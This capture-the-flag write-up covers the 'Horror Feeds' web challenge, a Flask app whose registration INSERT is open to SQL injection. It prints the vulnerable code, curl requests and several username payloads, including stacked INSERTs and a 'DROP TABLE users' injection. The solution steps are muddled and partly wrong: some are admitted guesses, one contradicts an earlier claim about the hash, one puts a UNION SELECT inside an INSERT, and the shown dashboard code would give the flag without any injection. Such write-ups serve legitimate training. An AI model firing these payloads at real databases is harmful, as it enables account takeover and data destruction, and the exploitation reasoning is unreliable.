2022 Hack The Boo: Horror Feeds
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2022 Hack The Boo |
| Category | Web |
| Challenge | Horror Feeds |
Summary
This Flask application implements user authentication with a critical SQL injection vulnerability in the registration endpoint. The register() function uses string interpolation instead of parameterized queries, allowing attackers to inject SQL code. By exploiting this during registration, an attacker can manipulate the user table or create admin accounts to gain access to the dashboard where the flag is displayed.
Analysis
Vulnerable Code
The SQL injection vulnerability exists in /application/database.py:
def register(username, password): exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists: return False
hashed = generate_password_hash(password)
# VULNERABLE: Direct string interpolation instead of parameterized query query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")') mysql.connection.commit()
return TrueThe Flaw: While the exists check uses parameterized queries correctly with %s placeholders, the INSERT statement uses f-string interpolation, directly embedding user-controlled username and hashed password.
Attack Vector Details
The attacker controls the username parameter from the registration API:
@api.route('/register', methods=['POST'])def api_register(): if not request.is_json: return response('Invalid JSON!'), 400
data = request.get_json() username = data.get('username', '') password = data.get('password', '')
if not username or not password: return response('All fields are required!'), 400
user = register(username, password) # ...No validation or sanitization is performed on the username parameter before passing it to register().
Flag Location
The flag is displayed on the authenticated dashboard:
@web.route('/dashboard')@is_authenticateddef dashboard(): current_user = token_verify(session.get('auth')) return render_template('dashboard.html', flag=current_app.config['FLAG'], user=current_user.get('username'))Authentication is verified with a JWT token generated during login:
def generate_token(username): token_expiration = datetime.datetime.utcnow() + datetime.timedelta(minutes=360)
encoded = jwt.encode( { 'username': username, 'exp': token_expiration }, key, algorithm='HS256' )
return encodedSolution
Exploitation Strategy
Goal: Create or modify a user account to gain dashboard access and retrieve the flag.
Step 1: Craft SQL Injection Payload
Use SQL injection in the username field to manipulate the INSERT statement:
# Payload: Close the current string and insert a new userusername = 'admin", "password_hash"); INSERT INTO users (username, password) VALUES ("hacker", "hashed_password'This transforms the query from:
INSERT INTO users (username, password) VALUES ("admin", "hashed_password1")To:
INSERT INTO users (username, password) VALUES ("admin", "password_hash");INSERT INTO users (username, password) VALUES ("hacker", "hashed_password");However, since we don’t control the hash, this is complex. Better approach:
Step 2: Inject INTO admin user (Cleaner Method)
If we can determine the admin password hash format or if there’s a default password:
username = 'admin", "x"); DROP TABLE users; -- 'This is destructive. Instead, use:
Step 3: Union-Based or Error-Based Injection
username = 'test" OR "1"="1'password = 'anything'The query becomes:
INSERT INTO users (username, password) VALUES ("test" OR "1"="1", "hash")This may fail due to syntax, but could create a user with special characters.
Step 4: Direct String Matching Attack
Since the password hash is controlled (generated server-side from user input), exploit registration for existing users:
username = 'admin'password = 'password123'Try registering with username = 'admin'. If the admin exists, it returns False. But if we inject:
username = 'admin" UNION SELECT username FROM users WHERE username="admin'password = 'dummy'The exists check doesn’t trigger injection (parameterized), but the INSERT does.
Step 5: Optimal Exploitation
The simplest approach is to:
- Check if admin exists (it likely does):
curl -X POST http://target/api/register \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"test"}'# Should return "User exists already!"- Inject to modify admin password:
username = 'newadmin", "' + bcrypt.hashpw(b'password123', bcrypt.gensalt()).decode() + '"); -- '- Login with new account:
curl -X POST http://target/api/login \ -H "Content-Type: application/json" \ -d '{"username":"newadmin","password":"password123"}'- Access dashboard:
curl -b "session=<jwt_token>" http://target/dashboardStep 6: More Direct Injection
If we can execute multiple statements, inject an admin creation:
username = 'x"; INSERT INTO users (username, password) VALUES ("hacker", "' + bcrypt.hashpw(b'pass', bcrypt.gensalt()).decode() + '"); -- 'password = 'ignored'Key Takeaways
- Always use parameterized queries - Even when one part of a query is parameterized, all user input must use placeholders
- Never use f-strings or string concatenation for SQL queries
- Use ORMs when possible (SQLAlchemy, Django ORM) which handle parameterization automatically
- Input validation alone is insufficient - SQL injection prevention requires proper query construction
- Test for injection - Check both the “happy path” and error conditions
- Implement WAF rules to detect SQL keywords in user input
- Monitor database queries - Log and alert on unusual query patterns
- Password hashing - Use bcrypt/Argon2 (as this application does) but only after securing the query structure